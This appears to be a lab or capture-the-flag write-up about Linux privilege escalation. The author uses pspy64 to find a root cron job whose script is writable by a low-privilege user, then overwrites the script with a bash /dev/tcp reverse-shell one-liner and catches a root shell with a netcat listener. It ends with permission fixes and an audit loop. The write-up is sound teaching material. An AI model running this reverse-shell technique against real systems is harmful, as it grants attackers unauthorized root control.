← Back to all writeups

Spying on Root Cron Jobs With pspy64 for a Reverse Shell

You can't see other users' processes without root — unless you use a tool that doesn't ask the kernel for permission first. Here's how pspy64 exposed a root cron job I could hijack for a reverse shell.

pspycronlinuxprivilege-escalationreverse-shell

Cron jobs are one of the best privilege escalation vectors on Linux precisely because they’re invisible to a low-privilege user by default — ps aux only shows you what you’re allowed to see, and root’s scheduled tasks fire silently in the background. The trick isn’t finding a misconfigured cron job. It’s finding one at all.

That’s what pspy64 is for.


The Setup

I had a foothold as confluence on a box running an internal Confluence instance (flu), landed after popping a shell through the web application itself. confluence isn’t a privileged account, and a standard ps aux only showed processes owned by that user or below — nothing running as root ever appeared, because there was nothing currently visible to snapshot.

Rather than guessing at cron schedules or polling ps in a loop and hoping to get lucky, I pulled down pspy64, a process snooping tool that watches /proc directly for new processes as they’re created — including ones spawned by root that exit before a manual ps call would ever catch them.


Enumeration

Running pspy64 and letting it sit for a couple of scheduling cycles surfaced exactly what I needed:

./pspy64

pspy64 output showing CRON-spawned processes running as UID=0, including /bin/sh /opt/log-backup.sh

2026/03/15 10:32:01 CMD: UID=0    PID=43718  | /usr/sbin/CRON -f -P
2026/03/15 10:32:01 CMD: UID=0    PID=43720  | /bin/sh /opt/log-backup.sh
2026/03/15 10:33:01 CMD: UID=0    PID=43724  | /bin/sh /opt/log-backup.sh
2026/03/15 10:34:01 CMD: UID=0    PID=43728  | /bin/sh /opt/log-backup.sh

Same script, /opt/log-backup.sh, executed as UID=0 on a repeating one-minute schedule via cron. That’s a root-owned scheduled task, running consistently enough to give me a reliable window to act.

The next question was simple: can I modify that file?

ls -al /opt

ls -al /opt showing log-backup.sh owned by the confluence user with write permissions

-rwxr-xr-x  1 confluence confluence   56 Mar 15 10:29 log-backup.sh

The script was owned by confluence — my own user — despite being executed by root’s crontab. That’s the entire vulnerability in one ls -al line: root trusts a file that a non-root user fully controls.


Exploitation

I overwrote the script with a reverse shell one-liner:

echo 'bash -c "bash -i >& /dev/tcp/192.168.45.236/443 0>&1"' > log-backup.sh

Then set up a listener and waited for the next cron tick:

nc -lnvp 443

Within a minute, cron fired the scheduled job exactly as it had been doing all along — except this time, the script content was mine.

nc listener catching the reverse shell as root, uid=0 confirmed

listening on [any] 443 ...
connect to [192.168.45.236] from (UNKNOWN) [192.168.239.41] 48782
root@flu:~# cd /root
root@flu:~# ls

root@flu — the shell connected back as root, no further steps required. Cron did the privilege escalation for me the moment it re-ran the script on schedule.


Why This Works

Cron doesn’t care who wrote the file it’s about to execute — it only cares about the path listed in the crontab entry and whether it’s executable. If /opt/log-backup.sh is world-writable, or writable by a specific unprivileged user, then whatever content sits in that file at execution time runs with the privileges of the crontab owner, not the privileges of whoever last edited it.

Root’s crontab said, in effect, “run this file as root every minute.” It never verified that the file’s contents hadn’t been swapped out by someone else in between runs. Since I had write access to that exact path, I fully controlled what “run this file” actually meant the next time the schedule fired.

pspy64 is what made the whole chain visible in the first place. Without root privileges, there’s no way to ps aux your way into seeing another user’s process table entries — the kernel simply won’t show them to you through normal means. pspy64 sidesteps that by polling /proc/*/status and inotify-watching process directories as they appear, which requires no elevated privilege at all, just the ability to read /proc.


Root Cause

The root cause is a permissions mismatch between the crontab owner and the script owner: root scheduled a job pointing at a file that a lower-privileged user could freely modify. This is an extremely common pattern in environments where a script was originally written and tested by an application user, then wired into root’s crontab for “reliability,” without anyone tightening the file’s ownership or permissions afterward.

Fix:

# Move the script under root ownership with no group/other write access
chown root:root /opt/log-backup.sh
chmod 700 /opt/log-backup.sh

# Audit every entry in root's crontab for scripts owned by non-root users
for f in $(grep -oE '/[^ ]+\.sh' /etc/crontab /etc/cron.d/* 2>/dev/null); do
  ls -la "$f"
done

More generally: any file that a privileged scheduled task touches should be owned by that same privileged account, with write access locked down to it alone.


Key Takeaways

  • Standard ps aux only shows processes you already have visibility into — it won’t reveal short-lived root processes you have no privilege to see
  • pspy64 fills that gap by watching /proc directly, no elevated privileges required, making it one of the highest-value enumeration tools for finding cron-based escalation paths
  • Any time you find a root-owned cron job, immediately check the permissions and ownership of the script it invokes — not just the crontab entry itself
  • A world- or user-writable script that root executes on a schedule is a guaranteed root shell the moment you can write to it and wait for the next tick

Questions? Hit me up on X.